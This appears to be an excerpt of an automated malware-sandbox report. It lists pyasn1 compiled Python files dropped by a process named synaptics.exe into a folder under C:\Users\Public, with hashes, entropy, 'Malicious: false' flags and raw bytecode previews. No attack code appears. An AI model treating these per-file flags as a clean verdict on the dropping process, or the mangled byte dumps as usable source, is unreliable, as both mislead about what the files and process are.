SHA1:	A05B9E4BBB0EA76CEF047C8E4B21CD5E14C4514E
SHA-256:	E83F5DE3A3F78A262289B5A2E56D33992B34A67D05E45BCD8DA78632492B0C1F
SHA-512:	D392AA31C4AA51C8759D2FC20FF73A2F7BB4CE9DF507DB8DA04D5A02D6DD2C79D5163AC61A9376B92C4DA8F17075C9D07F96331CF8D1B7EF1CE09387D7850D44
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s8...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.e.j.Z.G.d.d...d.e.j...Z.e.j.Z.e.j.Z.e.j.Z.e.j.....Z.e...e.j.j.e...e.j.j.e...e.j.j.e...e.j.j.e...i.....e.j.....Z.e.....D.].Z.e.j.d.u.rte.j.j.j.Z.e.d.u.rte.e.v.rte.e.e.<.q\G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j ..Z e ..Z!d.e"f.d.d...Z#d.S.)......N)...error)...readFromStream)...decoder)...univ..decode..StreamingDecoderc....................@...s$...e.Z.d.Z.e...d...Z.....d.d.d...Z.d.S.)...BooleanPayloadDecoderr....Nc....................k...s......\|.d.k.r.t...d.....t.\|.\|.\|...D.].}.t.\|.t...r.\|.V...q.\|.d...}.\|.d.k.r&d.}.n.\|.d.k.r-d.}.n.t...d.\|.......\|.j.\|.\|.\|.f.i.\|.....V...d.S.).N.....z Not single-octet Boolean payloadr.........z.Unexpected Boolean payload: %s).r....Z.PyAsn1Errorr......isinstance..SubstrateUnderrunErrorZ._createComponent)...selfZ.substrateZ.asn1Spec..tagSet..length..stateZ.decodeFunZ.substrateFun..options..chunk..byte..value..r.....JC:\Users\Public\QExvbmVOb

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\codec\cer\pycache\decoder.cpython-310.pyc.75475872

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2499
Entropy (8bit):	5.405801206407453
Encrypted:	false
SSDEEP:	48:wz8iXwFKzH/u19DflQ6ezclOVaJORi6Zy0punszpDVYRB:wz5XTfcf9EaJONNpunszp5K
MD5:	57A97917915DF3DBD5EB1DAF5829E01C
SHA1:	A05B9E4BBB0EA76CEF047C8E4B21CD5E14C4514E
SHA-256:	E83F5DE3A3F78A262289B5A2E56D33992B34A67D05E45BCD8DA78632492B0C1F
SHA-512:	D392AA31C4AA51C8759D2FC20FF73A2F7BB4CE9DF507DB8DA04D5A02D6DD2C79D5163AC61A9376B92C4DA8F17075C9D07F96331CF8D1B7EF1CE09387D7850D44
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s8...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.e.j.Z.G.d.d...d.e.j...Z.e.j.Z.e.j.Z.e.j.Z.e.j.....Z.e...e.j.j.e...e.j.j.e...e.j.j.e...e.j.j.e...i.....e.j.....Z.e.....D.].Z.e.j.d.u.rte.j.j.j.Z.e.d.u.rte.e.v.rte.e.e.<.q\G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j ..Z e ..Z!d.e"f.d.d...Z#d.S.)......N)...error)...readFromStream)...decoder)...univ..decode..StreamingDecoderc....................@...s$...e.Z.d.Z.e...d...Z.....d.d.d...Z.d.S.)...BooleanPayloadDecoderr....Nc....................k...s......\|.d.k.r.t...d.....t.\|.\|.\|...D.].}.t.\|.t...r.\|.V...q.\|.d...}.\|.d.k.r&d.}.n.\|.d.k.r-d.}.n.t...d.\|.......\|.j.\|.\|.\|.f.i.\|.....V...d.S.).N.....z Not single-octet Boolean payloadr.........z.Unexpected Boolean payload: %s).r....Z.PyAsn1Errorr......isinstance..SubstrateUnderrunErrorZ._createComponent)...selfZ.substrateZ.asn1Spec..tagSet..length..stateZ.decodeFunZ.substrateFun..options..chunk..byte..value..r.....JC:\Users\Public\QExvbmVOb

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\codec\der\pycache\init.cpython-310.pyc.71105056

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	168
Entropy (8bit):	4.654353164612405
Encrypted:	false
SSDEEP:	3:y/reLuleh/wZWeuk8uaHF50YTlHX0M9VWrzL17BOkcTgp:y/SLqeh/wj8uaHxEM9Ard04
MD5:	B6C31C5C9B42096379B8817E8AD5D0ED
SHA1:	5463F96D890AB86E73696210B6FC6C68C2418F85
SHA-256:	BA14878859BF34D0DB35E06992304881A898999B99FB17A59849093327DDAC7C
SHA-512:	88B7D5A4580C94455187882F772D346FCB2F5D557CDADC8E866CF37B5DD7D81FC6AB5F9ED895FE77ACB779903BC74ED1FADB9A3AA1A38BA28712838F988DCA3A
Malicious:	false
Reputation:	low
Preview:	o.......T..f;........................@...s....d.S.).N..r....r....r.....KC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\der\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\codec\der\pycache\decoder.cpython-310.pyc.71105184

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1866
Entropy (8bit):	5.140358017692469
Encrypted:	false
SSDEEP:	24:EjM1Beausa5bi6PPeLrNLPKcDP4h8bM8rc6826aFQc6ZLCJckPyhvc4J4XQCBf:TNkiuPWzHDwmPrS216ZOcBzAn1
MD5:	80AA2BF4E2491C1C5ADA22E508F5842F
SHA1:	D55EBB4021C0766A2EB265A23189718F4B646DAC
SHA-256:	A9E00CC8DD8E39C53C77144E49C77C55D3DD2E394D7F35046B49EC9089688E56
SHA-512:	68BB6CC55D8493DFA0DD0780179B13D9F49F4393254E753B93FA0B1696BC9A5FF1BB6874CE10A10C2FBFE1F6DE605A1189172C41DECB3817EBC51760D3F40835
Malicious:	false
Reputation:	low
Preview:	o.......T..fd........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e.j.Z.e.j.....Z.e...e.j.j.e...e.j.j.e...e.j.j.e...i.....e.j.....Z.e.....D.].Z.e.j.d.u.rce.j.j.j.Z.e.d.u.rce.e.v.rce.e.e.<.qKG.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e...Z.d.e.f.d.d...Z.d.S.)......N)...decoder)...univ..decode..StreamingDecoderc....................@........e.Z.d.Z.d.Z.d.S.)...BitStringPayloadDecoderFN....__name__..__module__..__qualname__Z.supportConstructedForm..r....r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\der\decoder.pyr.................r....c....................@...r....)...OctetStringPayloadDecoderFNr....r....r....r....r....r........r....r....c....................@...s ...e.Z.d.Z.e.j.j.Z.e.Z.e.Z.d.Z.d.S.)...SingleItemDecoderFN).r....r....r....r....r......__doc__..TAG_MAP..TYPE_MAPZ.supportIndefLengthr....r....r....r....r....+...s..............r....c....................@........e.Z.d.Z.e.j.j.Z.e.Z.d.S.).r....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\codec\der\pycache\decoder.cpython-310.pyc.75475488

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1866
Entropy (8bit):	5.140358017692469
Encrypted:	false
SSDEEP:	24:EjM1Beausa5bi6PPeLrNLPKcDP4h8bM8rc6826aFQc6ZLCJckPyhvc4J4XQCBf:TNkiuPWzHDwmPrS216ZOcBzAn1
MD5:	80AA2BF4E2491C1C5ADA22E508F5842F
SHA1:	D55EBB4021C0766A2EB265A23189718F4B646DAC
SHA-256:	A9E00CC8DD8E39C53C77144E49C77C55D3DD2E394D7F35046B49EC9089688E56
SHA-512:	68BB6CC55D8493DFA0DD0780179B13D9F49F4393254E753B93FA0B1696BC9A5FF1BB6874CE10A10C2FBFE1F6DE605A1189172C41DECB3817EBC51760D3F40835
Malicious:	false
Reputation:	low
Preview:	o.......T..fd........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e.j.Z.e.j.....Z.e...e.j.j.e...e.j.j.e...e.j.j.e...i.....e.j.....Z.e.....D.].Z.e.j.d.u.rce.j.j.j.Z.e.d.u.rce.e.v.rce.e.e.<.qKG.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e...Z.d.e.f.d.d...Z.d.S.)......N)...decoder)...univ..decode..StreamingDecoderc....................@........e.Z.d.Z.d.Z.d.S.)...BitStringPayloadDecoderFN....__name__..__module__..__qualname__Z.supportConstructedForm..r....r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\codec\der\decoder.pyr.................r....c....................@...r....)...OctetStringPayloadDecoderFNr....r....r....r....r....r........r....r....c....................@...s ...e.Z.d.Z.e.j.j.Z.e.Z.e.Z.d.Z.d.S.)...SingleItemDecoderFN).r....r....r....r....r......__doc__..TAG_MAP..TYPE_MAPZ.supportIndefLengthr....r....r....r....r....+...s..............r....c....................@........e.Z.d.Z.e.j.j.Z.e.Z.d.S.).r....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\compat\pycache\init.cpython-310.pyc.70758688

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.970663360964073
Encrypted:	false
SSDEEP:	3:y/reJl/Gtulev/Lgl2jrEsnlllPlXOaHF50YTlHX0M9VWrzL1aD67kcTgk:y/SJ0tqev/Ulcrfll+aHxEM9ArdaDuR
MD5:	58B38109F770E4A2F9035A0F7D2B7167
SHA1:	DA8CDA71724835F986910C5C5CBD659964BECD57
SHA-256:	200AB7F0E98BAA0DFD3C42BD6E036C4D33606B924B3EAA42DB5BDCDAAC90832B
SHA-512:	A9D0E911663D40E4A737ED894EF338B93B4F6F2A9D2E92B91FAE2AFBD1E512DC4F49B7588D98215FC974942EAC65C9C326B52059F3D8A144446610D187DACCD5
Malicious:	false
Reputation:	low
Preview:	o.......T..fp........................@...s....e...Z.d.S.).N)...objectZ._MISSING..r....r.....HC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\compat\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\compat\pycache\integer.cpython-310.pyc.70758816

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.947712956733462
Encrypted:	false
SSDEEP:	6:y/SD//rCo/10MIPLsXSjAfNs//w0UuDPLyYpKX69ZDaHxEM9Arda1lA0ikdX+mqf:CUrC664jlsSuD2TMYlJ1lA0ikdOZqqJ
MD5:	BE89AC399E10C3914A3720F906BBB003
SHA1:	604D35967A4816B5205312D4DBB8BAFD9B583BC4
SHA-256:	8898F245DECC62561D0966BE50E7E94543B9C527E8FE4D6BF2AFB82EB552339B
SHA-512:	32728530EFDBF39DE52F8293FA86F64D686A57EE2A23352CF4AF377EB15DD3DF744CD21DF95857D26DCE9CFC626C7A01C617C730E32B7067B0ED0D6A9F9E6406
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s....d.d.d...Z.d.S.).F.....c....................C...sJ...t.\|.....\|...}.\|.r.\|.d...d.k.r.\|.d.7.}.\|.j.\|.d...\|.d...r.d.p.d...d.\|.d...S.).N.....r...........big)...signed)...max..bit_length..to_bytes)...valuer......length..r.....GC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\compat\integer.pyr........s..........$.r....N).Fr....).r....r....r....r....r......<module>....s......

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\init.cpython-310.pyc.70590976

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	163
Entropy (8bit):	4.637446587638193
Encrypted:	false
SSDEEP:	3:y/reLuleh/wZWejIaHF50YTlHX0M9VWrzL1KLLikcTgp:y/SLqeh/wvIaHxEM9ArdKLLy4
MD5:	44C3B18690A5BD719D8007CFE20DDF90
SHA1:	BCE1A5B9B136B98D225E65E0AA509D6C7666DFA6
SHA-256:	8920B60F89538BAF8C574D95E149EC1A38F03CBFE2D8300EA8BCB4062ABD4C23
SHA-512:	9228977D67A3396EE293A713EF366BB67E600D5F521ADC56C10037EDA6486E9E29F200322087C38A74FFE8EFC43CAFF86D0C8B0F4EA7678543E7AC028DF8947D
Malicious:	false
Reputation:	low
Preview:	o.......T..f;........................@...s....d.S.).N..r....r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\init.cpython-310.pyc.75533512

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	163
Entropy (8bit):	4.637446587638193
Encrypted:	false
SSDEEP:	3:y/reLuleh/wZWejIaHF50YTlHX0M9VWrzL1KLLikcTgp:y/SLqeh/wvIaHxEM9ArdKLLy4
MD5:	44C3B18690A5BD719D8007CFE20DDF90
SHA1:	BCE1A5B9B136B98D225E65E0AA509D6C7666DFA6
SHA-256:	8920B60F89538BAF8C574D95E149EC1A38F03CBFE2D8300EA8BCB4062ABD4C23
SHA-512:	9228977D67A3396EE293A713EF366BB67E600D5F521ADC56C10037EDA6486E9E29F200322087C38A74FFE8EFC43CAFF86D0C8B0F4EA7678543E7AC028DF8947D
Malicious:	false
Reputation:	low
Preview:	o.......T..f;........................@...s....d.S.).N..r....r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\base.cpython-310.pyc.70591696

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	21823
Entropy (8bit):	5.253889790517431
Encrypted:	false
SSDEEP:	384:Vd+3khvV7gSPy9VQYmqBB00ygdDUxWuKdwLyh+AgSbCiFFQQVXycnSF1MtXdtcVU:VMkhvV7gSPy9VQYmqBB00yg5UxWuKdwq
MD5:	E328EF9351C5900E9B75658DB554B63F
SHA1:	0420AB905976F0D21EB9A39D9C9D4FC468661E10
SHA-256:	EED2DC2B2592D9AECE81934DCDE8E9E6CB7D071A3A9F5F7672B0753F3F87A4ED
SHA-512:	701F2C300D736CB70A345C10D9875EA0CF1800C39C1289BEA0419206FA7AC6FDDC8FD7899A4F0048F96C1535F0B96AD54F9AB175D62634C0E31354411BC3493A
Malicious:	false
Reputation:	low
Preview:	o.......T..f"V.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.Z.G.d.d...d.e...Z.e...Z.G.d.d...d.e...Z.e.Z.G.d.d...d.e...Z.e.Z.d.S.)......N)...error)...constraint)...tag)...tagmap)...Asn1Item..Asn1Type..SimpleAsn1Type..ConstructedAsn1Typec....................@...s....e.Z.d.Z.e.d.d.d.....Z.d.S.).r.........c....................C...s4...z.t...j.\|.7..._.W.t.j.S...t.y.......\|.t._.Y.t.j.S.w...N).r....Z._typeCounter..AttributeError)...cls..increment..r.....BC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\base.py..getTypeId....s..................z.Asn1Item.getTypeIdN).r....)...__name__..__module__..__qualname__..classmethodr....r....r....r....r....r........s..........r....c....................@...s....e.Z.d.Z.d.Z.e.....Z.e.....Z.d.Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d#d.d...Z.d#d.d...Z.e.d.d.....Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.d.S.)%r....a>...Base class for

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\char.cpython-310.pyc.70592656

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5592
Entropy (8bit):	5.106088103082917
Encrypted:	false
SSDEEP:	96:chAsswL3b31sUQblFm1dSGah4in/lqaW5P3ftlSCowp9yQu9MURWu3nph9K:0Asbz1s9bn3GayicaWR3f2+9ruSURWu8
MD5:	3341842527492AB3BE350D9121B7D2B8
SHA1:	65FF3BF5368D098AAD43A4483E35188DA6A5AB8C
SHA-256:	8410532BECD12678BA7F2BDBBC8F137250A53B33524D3B4675408BD329F7C417
SHA-512:	4B5EE7948C1CFF5E04154C4EB15C67F89A1520B7008A908FF1C8602BEC2E8BC7A40E994A37408EADDF7B6483B137C5526803DE909326482E9F9EA2AE40EC1601
Malicious:	false
Reputation:	low
Preview:	o.......T..f.$.......................@...s&...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.e.j.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d d!..d!e...Z.d.S.)".....N)...error)...tag)...univ)...NumericString..PrintableString..TeletexString..T61String..VideotexString..IA5String..GraphicString..VisibleString..ISO646String..GeneralString..UniversalString..BMPString..UTF8Stringc....................@...sV...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.S.)...AbstractCharacterStringa....Creates \|ASN.1\| schema or value object... \|ASN.1\| class is based on :class:`~pyasn1.type.base.SimpleAsn1Type`,. its objects are immutable and duck-type :class:`bytes`.. When used in octet-stream context, \|ASN.1\| type assumes. "\|encoding\|" encoding... Keyword Args. -----------

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\constraint.cpython-310.pyc.71105952

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	23707
Entropy (8bit):	5.133960794242702
Encrypted:	false
SSDEEP:	384:xYMLgCqqRCO/Wsd9fTiuYOseVCTet2K4fnORtAlxkVUjNptXeW8na+MVMru:ilCNRDxBGlO3VmrfnORtUkC1eW6XMVMi
MD5:	164FE8DF1F6662630EBEA6D6A85076A3
SHA1:	7E28FCCE3F411E2763DE508D24C7DE4008DDE8D2
SHA-256:	4D334C6F6F76A4F7D15492DB5D9F3A2542DEB026ABDAEF97C2205A91B93B1472
SHA-512:	696C27A88EF3342F6C61FC182127F56D659BA9D9B980E18B5FB03FD27A810DBAAD4A4C263294740448083E3A0F3B5143C452830ABDD953EDADBE409045E26EF7
Malicious:	false
Reputation:	low
Preview:	o.......T..f.U.......................@...s....d.d.l.Z.d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.) .....N)...error)...SingleValueConstraint..ContainedSubtypeConstraint..ValueRangeConstraint..ValueSizeConstraint..PermittedAlphabetConstraint..InnerTypeConstraint..ConstraintsExclusion..ConstraintsIntersection..ConstraintsUnionc....................@...s....e.Z.d.Z.d.d...Z.d"d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d.S.)#..AbstractConstraintc....................G...s*...t...\|._.\|...\|.....t.\|.j.j.\|.j.f...\|._.d.S...N)...set.._valueMap.._setValues..hash..__class__..__name__.._values.._AbstractConstraint__hash....self..values..r.....HC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\constraint.py..__init__.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\error.cpython-310.pyc.70591936

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	379
Entropy (8bit):	4.745014007004554
Encrypted:	false
SSDEEP:	6:y/SCYNbsu3gMlCep2AInXx9YLIKP66GS9ofaHxEM9ArdKxqXKUeh/QGD7/W+ho:CWNQEgYCeeQ2+lLxsneh/j7/W+ho
MD5:	657846E168942D15778B39DA6813A1CE
SHA1:	70577C3F2E1D6063894D51A68D4D5CF2A4B7FC53
SHA-256:	5DBABF2CD0AA8A867B65F613F6942226D10381601742ACA92E335D2FB767EBFF
SHA-512:	9D647BA35943D89FA6D25809589AD49E0E532DB1B31E2EDDD9AEB6DEB613B64F417261D6D80E73B941F9F1FA2CFFC3D87D7A8EC4AA9B3004FBD6393CDBE0EFCC
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s ...d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......)...PyAsn1Errorc....................@...s....e.Z.d.Z.d.S.)...ValueConstraintErrorN)...__name__..__module__..__qualname__..r....r.....CC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\error.pyr........s........r....N).Z.pyasn1.errorr....r....r....r....r....r......<module>....s........

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\namedtype.cpython-310.pyc.70758816

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	18330
Entropy (8bit):	5.141454292684053
Encrypted:	false
SSDEEP:	384:1sQFyRXOxlx+se3L2qeWNqb4UF1ducijQxfA3HtADIrt:rFWql8sgL2HWNq8UF1ducijQxf2rt
MD5:	2607FBB91BA7AFE1C2C0679837F0275E
SHA1:	9068A8035FCD7239DD763F5F709C1C3DC3A8E80E
SHA-256:	AF5EEBF0B4F4F89EF90BD42A5FABF3760964418AF3729D400587B78E4AA51836
SHA-512:	8BF0D7EED3779D76F64F510F928F16FD4353AD057D20BDACDB0DA990B40EC368295533A75855875349652B33C1BB4A46D8CB487B4352F145D0E31C64D10969E3
Malicious:	false
Reputation:	low
Preview:	o.......T..f3?.......................@...sx...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......N)...error)...tag)...tagmap)...NamedType..OptionalNamedType..DefaultedNamedType..NamedTypesc....................@...s....e.Z.d.Z.d.Z.d.Z.d.Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d d!..Z.d"d#..Z.d.S.)%r....a....Create named field object for a constructed ASN.1 type... The \|NamedType\| object represents a single name and ASN.1 type of a constructed ASN.1 type... \|NamedType\| objects are immutable and duck-type Python :class:`tuple` objects. holding name and asn1Object components... Parameters. ----------. name: :py:class:`str`. Field name.. asn1Object:. ASN.1 type object. FNc....................C...s ...\|.\|._.\|.\|._.\|.\|.f.\|._.\|.\|._.d.S...N)..._NamedType__name.._NamedType__type.._NamedType__na

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\namedval.cpython-310.pyc.70592416

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5471
Entropy (8bit):	5.1430855289327395
Encrypted:	false
SSDEEP:	96:w7bLr4jGns+GAwQvrrmPzKJzXzr72HL2LWHbIGpwhShNC4nxxrWqYx5qiwd:Pjcs+GAwQTrmGh2HgWHkGOkhVnxxrahY
MD5:	111CAED2B0F9667D116F4D9CA24BCE68
SHA1:	4257478A84311CF6A0D608962A5443AB929BC13F
SHA-256:	9C66F03251E4FCF3EED2C81E20D5DAC2266B4330A58225D0A7C3C3CDE9CE0075
SHA-512:	060EC15004E05CAA35449986FD7BDC2A6A4B18037A8E065F7A79CC9E95C0889599AF0E96772E70425EBA6D7FDB59AABE5012F03DEEF2F4FB4FB818A8E5A773BE
Malicious:	false
Reputation:	low
Preview:	o.......T..f#........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...error..NamedValuesc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.d,S.)-r....a....Create named values object... The \|NamedValues\| object represents a collection of string names. associated with numeric IDs. These objects are used for giving. names to otherwise numerical values... \|NamedValues\| objects are immutable and duck-type Python. :class:`dict` object mapping ID to name and vice-versa... Parameters. ----------. args: variable number of two-element :py:class:`tuple`.. name: :py:class:`str`. Value label.. value: :py:class:`int`. Numeric value.. Keyword Args. ------------. name: :py:class:`str`. Value label.. value: :py:class:`int`. Numeric valu

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\tag.cpython-310.pyc.70592056

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10192
Entropy (8bit):	5.0276603453833815
Encrypted:	false
SSDEEP:	192:NOjGsnVvD7K+qqlTckRWnzSO4U/KNrNr2RPb0qn:4HnVL7/HRWnZ4U/xb0q
MD5:	EFA3F70FD3C76A0DD2FEE5DAAD82EBC3
SHA1:	8649831D0F29C59B90FC0E16DFA144123815ADB6
SHA-256:	BEF2B4C66BFC2F0D579AFB7C3161B9B6CBCBBF2FCF4B0EDE0E0ECFD1B58EAD45
SHA-512:	591F9D6B3EDA26EA2148D33A0BB4E6801B50647B5AA074E0BED64D8E392009AAD258896774F0C78F350EF96461D93E05D166CF886B1AAC04314643E6334E9CD8
Malicious:	false
Reputation:	low
Preview:	o.......T..f.%.......................@...sd...d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.d...Z.d.S.)......)...error)...tagClassUniversal..tagClassApplication..tagClassContext..tagClassPrivate..tagFormatSimple..tagFormatConstructed..tagCategoryImplicit..tagCategoryExplicit..tagCategoryUntagged..Tag..TagSet.@............. ..................c....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d d!....Z.d"S.)#r....a....Create ASN.1 tag.. Represents ASN.1 tag that can be attached to a ASN.1 type to make. types distinguishable from each other... Tag objects are immutable and duck-type Python :class:`tuple` objects. holding three integer components of a tag... Parameters. ----------. tagClass: :py:class:`int`. Tag class value.. tagFormat: :py:class:`int`. Tag format value.. tagId: :

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\tagmap.cpython-310.pyc.70592176

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3292
Entropy (8bit):	5.14175646312547
Encrypted:	false
SSDEEP:	48:w7uO+EKaC/KIO00QLMmp6ygy43BYEASd9uh9DYCfCEfXn+KZm667D0Kv19HpqEo:Vt0P0oyghxYwfuh9DYlaO+6HNvXHpqEo
MD5:	29C87D2D6F5DDA2FB3AC9D3A1B12630A
SHA1:	3F3B8823DEEE2FBCC5E509C0CE38CF04BB9031CA
SHA-256:	A049246414ED36077F4D8FAD2AAD6AF7D7499CE4FCD3354D5838EDA10602B3BA
SHA-512:	48A9B33C1CBBCC1809ED647A26422A81981EB8082D1724BE456D17CAFB2BE09E626D048A6DEA1B8EFA7369FDBD1F4FD81608551D4B22A09BBA8D3980B8C8340C
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...error..TagMapc....................@...sv...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....aF...Map TagSet objects to ASN.1 types.. Create an object mapping TagSet object to ASN.1 type... TagMap objects are immutable and duck-type read-only Python. :class:`dict` objects holding TagSet objects as keys and ASN.1. type objects as values... Parameters. ----------. presentTypes: :py:class:`dict`. Map of :class:`~pyasn1.type.tag.TagSet` to ASN.1 objects considered. as being unconditionally present in the TagMap... skipTypes: :py:class:`dict`. A collection of :class:`~pyasn1.type.tag.TagSet` objects considered. as absent in the TagMap even when defaultType is present... defaultType: ASN.1 type object. An ASN.1 type object callee TagMap returns for

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pyasn1\type\pycache\univ.cpython-310.pyc.70591096

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	93765
Entropy (8bit):	5.299547981675023
Encrypted:	false
